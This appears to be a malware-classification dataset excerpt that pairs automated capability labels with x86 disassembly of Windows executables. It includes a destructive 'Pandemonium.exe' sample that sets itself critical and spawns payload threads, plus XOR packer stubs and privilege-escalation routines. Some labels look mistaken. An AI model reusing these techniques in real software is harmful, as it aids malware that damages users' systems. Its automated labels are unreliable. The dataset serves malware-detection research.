joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401190
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
mov dword [0x4488f0], eax
call fcn.00401ea0
call fcn.00403460
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jge 0x4011cf
push 0
push str.error
push str.failed_to_initialize_com
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call fcn.0040e2aa
push 0x4488f4
push 1
call fcn.004010e0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x401202
push 0
push str.error
push str.failed_to_create_d2d_factory
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call fcn.0040e2aa
mov ecx, dword [ebp + 0x14]
push ecx
call fcn.00401150
add esp, 4
test eax, eax
jne 0x401216
xor eax, eax
jmp 0x40127e
push 0x69
mov edx, dword [0x4488f0]
push edx
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov dword [ebp - 8], eax
push 0
push 0
push 0
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401268
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateAcceleratorA]
test eax, eax
jne 0x401266
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x401228
push 0x4488f4
call fcn.00401100
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret 0x10

Function at 0x42b6e4
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042b46b

Function at 0x42d978
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042d152

Function at 0x42d983
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042d38d
Function at 0x406110
Capabilities:
Accept command line arguments
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call 0x406180
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x40620b
cmp ax, 9
je 0x4061f8
cmp ax, 0x20
je 0x4061f8
mov dword [ebp - 0x54], 0
xor edi, edi
nop
cmp ax, 0x5c
je 0x406260
cmp ax, 0x22
je 0x406270
mov dword [ebp - 0x54], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x40620b
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x4061b0
test edi, 1
jne 0x4061b0
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x4061f8
cmp ax, 0x20
je 0x4061f8
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x24], 1
je 0x406288
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00404a40
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
add dword [ebp - 0x54], 1
jmp 0x4061cb
and dword [ebp - 0x54], 1
jne 0x4061c4
xor edi, 1
jmp 0x4061cb
mov eax, 1
mov esi, 1
mov word [ebp - 0x20], ax
jmp 0x406224
Function at 0x406180
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call 0x406180
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x40620b
cmp ax, 9
je 0x4061f8
cmp ax, 0x20
je 0x4061f8
mov dword [ebp - 0x54], 0
xor edi, edi
nop
cmp ax, 0x5c
je 0x406260
cmp ax, 0x22
je 0x406270
mov dword [ebp - 0x54], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x40620b
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x4061b0
test edi, 1
jne 0x4061b0
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x4061f8
cmp ax, 0x20
je 0x4061f8
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x24], 1
je 0x406288
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00404a40
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
add dword [ebp - 0x54], 1
jmp 0x4061cb
and dword [ebp - 0x54], 1
jne 0x4061c4
xor edi, 1
jmp 0x4061cb
mov eax, 1
mov esi, 1
mov word [ebp - 0x20], ax
jmp 0x406224
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..retplne
mov ebx, 0x40de38
nop
mov ecx, 0x159f1672
nop
nop
nop
nop
nop
test eax, eax
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..reloc
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x714a08ce
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0xf5904e0
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x1d773d35
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x27e709f0
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x64ea71c0
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00431219
Function at 0xa771b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00a77140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00a77140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00a77140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00a77140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xa77bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xa77c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xa8987c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xa77c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xa77c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x4023d0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2c
mov eax, dword [0x43c070]
xor eax, esp
mov dword [esp + 0x28], eax
push esi
lea eax, [esp + 4]
xorps xmm0, xmm0
push eax
push 0x28
movaps xmmword [esp + 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402425
lea eax, [esp + 8]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x402437
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.00407a90
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 8]
push 0
push 0
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
push 0x10
mov dword [esp + 0x24], eax
lea eax, [esp + 0x1c]
push eax
push 0
push dword [esp + 0x18]
mov dword [esp + 0x28], 1
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x2c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00407a90
mov esp, ebp
pop ebp
ret

Function at 0x402490
Capabilities:
Create thread
Terminate process

Disassembly:
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push str.Pandemonium.exe__Non_GDI_
push str.Run_Malware_
push 0
call esi
cmp eax, 7
jne 0x4024b5
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x34
push str.Pandemonium.exe__Non_GDI_
push str.Are_you_sure_
push 0
call esi
cmp eax, 7
jne 0x4024d2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x402500
call fcn.004023d0
push str.RtlSetProcessIsCritical
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402500
push 0
push 0
push 1
call eax
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402250
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4020e0
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
call esi
push 0
push 0
push 0
push 0x402140
push 0
push 0
call edi
push 0x2710
call esi
push 0
push 0
push 0
push 0x4021f0
push 0
push 0
call edi
push 0x2710
call esi
push 0
push 0
push 0
push 0x402290
push 0
push 0
call edi
push 0x2710
call esi
push 0
push 0
push 0
push 0x402050
push 0
push 0
call edi
push 0x1d4c0
call esi
call fcn.00401f80
int3

Function at 0x417c06
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00417a85

Function at 0x41bb72
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041b832
Function at 0x45c830
Capabilities:
Hash data using murmur3

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x409250
mov eax, dword [0x7e34d0]
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov ebx, dword [esp + 8]
lea eax, [ebx + eax*8]
xor eax, edx
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
xor ecx, eax
imul eax, ecx, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
mov ecx, eax
shr eax, 0x11
xor eax, ecx
imul eax, eax, 0x319bca41
mov ecx, eax
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0x8b421a21
mov ecx, eax
shr eax, 0x10
xor eax, ecx
mov dword [esp + 0xc], eax
ret
call fcn.0045b380
jmp 0x4091e0
cmp byte [0x7e31d9], 0
je 0x45c86b
mov eax, dword [esp + 4]
movq xmm0, qword [eax]
pinsrd xmm0, dword [esp + 8], 2
aesenc xmm0, xmmword [0x7e35c0]
aesenc xmm0, xmmword [0x7e35d0]
aesenc xmm0, xmmword [0x7e35e0]
movd dword [esp + 0xc], xmm0
ret
jmp 0x4091e0

Function at 0x45d610
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov eax, esp
mov dword [edx + 4], eax
sub eax, 0x10000
mov dword [edx], eax
add eax, 0xba0
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
lea esi, [ecx + 0x30]
mov dword fs:[0x14], esi
mov dword [edx + 0x18], ecx
mov dword [esi], edx
cld
call fcn.0045c730
call fcn.00436db0
ret

Function at 0x45d730
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword fs:[0x14]
mov edx, esp
sub esp, 0x21c
mov dword [esp], esp
mov dword [esp + 4], 0x21c
call fcn.0045d0e0
lea ecx, [esp + 0x30]
mov dword fs:[0x14], ecx
mov ebx, esp
sub esp, 0xd8
mov dword [ecx], esp
mov dword [ebx], esp
mov dword [esp], esp
mov dword [esp + 4], 0xd8
call fcn.0045d0e0
lea ebx, [esp + 0xd8]
mov dword [esp + 0x18], ebx
lea ecx, [esp - 0x8000]
mov dword [esp], ecx
add ecx, 0xba0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 4], edx
push eax
push dword [ebp + 0x10]
call dword [ebp + 8]
pop ecx
pop eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov esp, dword [ecx + 4]
pop dword fs:[0x14]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x526840
Capabilities:
Hash data using sha224
Hash data using sha256

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x5268e8
mov eax, dword [esp + 4]
movzx ecx, byte [eax + 0x6c]
test cl, cl
je 0x5268af
mov dword [eax], 0xc1059ed8
mov dword [eax + 4], 0x367cd507
mov dword [eax + 8], 0x3070dd17
mov dword [eax + 0xc], 0xf70e5939
mov dword [eax + 0x10], 0xffc00b31
mov dword [eax + 0x14], 0x68581511
mov dword [eax + 0x18], 0x64f98fa7
mov dword [eax + 0x1c], 0xbefa4fa4
mov dword [eax + 0x60], 0
mov dword [eax + 0x64], 0
mov dword [eax + 0x68], 0
ret
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
jmp 0x526899
call fcn.0045b380
jmp fcn.00526840

Function at 0x52dd20
Capabilities:
Parse credit card information

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x52ded5
movzx eax, byte [esp + 4]
lea ecx, [eax - 0x61]
cmp cl, 0x19
ja 0x52dd49
mov byte [esp + 0xc], 0
ret
lea ecx, [eax - 0x41]
cmp cl, 0x19
jbe 0x52dd43
lea ecx, [eax - 0x30]
cmp cl, 9
jbe 0x52dd43
mov ecx, dword [esp + 8]
cmp ecx, 3
jne 0x52dec7
cmp al, 0x2c
ja 0x52dea4
lea edx, [eax - 0x21]
cmp dl, 1
ja 0x52dd7d
mov byte [esp + 0xc], 0
ret
cmp al, 0x24
je 0x52dd77
cmp al, 0x26
jae 0x52dd77
cmp al, 0x2f
ja 0x52de6a
cmp al, 0x26
ja 0x52de42
cmp al, 0x24
jne 0x52de37
cmp ecx, 2
jg 0x52ddfb
cmp ecx, 1
je 0x52ddf0
cmp ecx, 2
jne 0x52ddd2
cmp al, 0x2f
jne 0x52ddc0
mov eax, 1
mov byte [esp + 0xc], al
ret
cmp al, 0x3b
je 0x52ddb6
cmp al, 0x2c
je 0x52ddb6
cmp al, 0x3f
sete al
jmp 0x52ddbb
cmp ecx, 7
jne 0x52ddea
cmp al, 0x21
jne 0x52dde2
mov byte [esp + 0xc], 0
ret
add eax, 0xffffffd8
cmp al, 2
jbe 0x52dddc
mov byte [esp + 0xc], 1
ret
cmp al, 0x3f
sete al
mov byte [esp + 0xc], al
ret
cmp ecx, 5
jne 0x52de21
cmp al, 0x40
jne 0x52de0f
mov eax, 1
mov byte [esp + 0xc], al
ret
cmp al, 0x2f
je 0x52de05
cmp al, 0x3f
je 0x52de05
cmp al, 0x3a
sete al
jmp 0x52de0a
cmp ecx, 6
je 0x52de31
cmp ecx, 7
jne 0x52ddd2
mov byte [esp + 0xc], 0
ret
mov byte [esp + 0xc], 1
ret
cmp al, 0x26
je 0x52dda2
jmp 0x52ddd2
lea edx, [eax - 0x2b]
cmp dl, 1
jbe 0x52dda2
lea edx, [eax - 0x2d]
cmp dl, 1
ja 0x52de5c
mov byte [esp + 0xc], 0
ret
cmp al, 0x2f
je 0x52dda2
jmp 0x52ddd2
cmp al, 0x3d
ja 0x52de89
lea edx, [eax - 0x3a]
cmp dl, 1
jbe 0x52dda2
cmp al, 0x3d
je 0x52dda2
jmp 0x52ddd2
lea edx, [eax - 0x3f]
cmp dl, 1
jbe 0x52dda2
cmp al, 0x5f
je 0x52de56
cmp al, 0x7e
je 0x52de56
jmp 0x52ddd2
lea edx, [eax - 0x3a]
cmp dl, 4
jbe 0x52dd77
cmp al, 0x5b
je 0x52dd77
cmp al, 0x5d
je 0x52dd77
jmp 0x52dd87
cmp ecx, 4
je 0x52dd66
jmp 0x52dd87
call fcn.0045b380
jmp fcn.0052dd20
Function at 0x5e5650
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x5e5675
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x5e5680
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x5e5675
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x5e56c8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x5e56be
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x5e56ca
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x5e56b0
xor eax, eax
pop ebx
pop esi
ret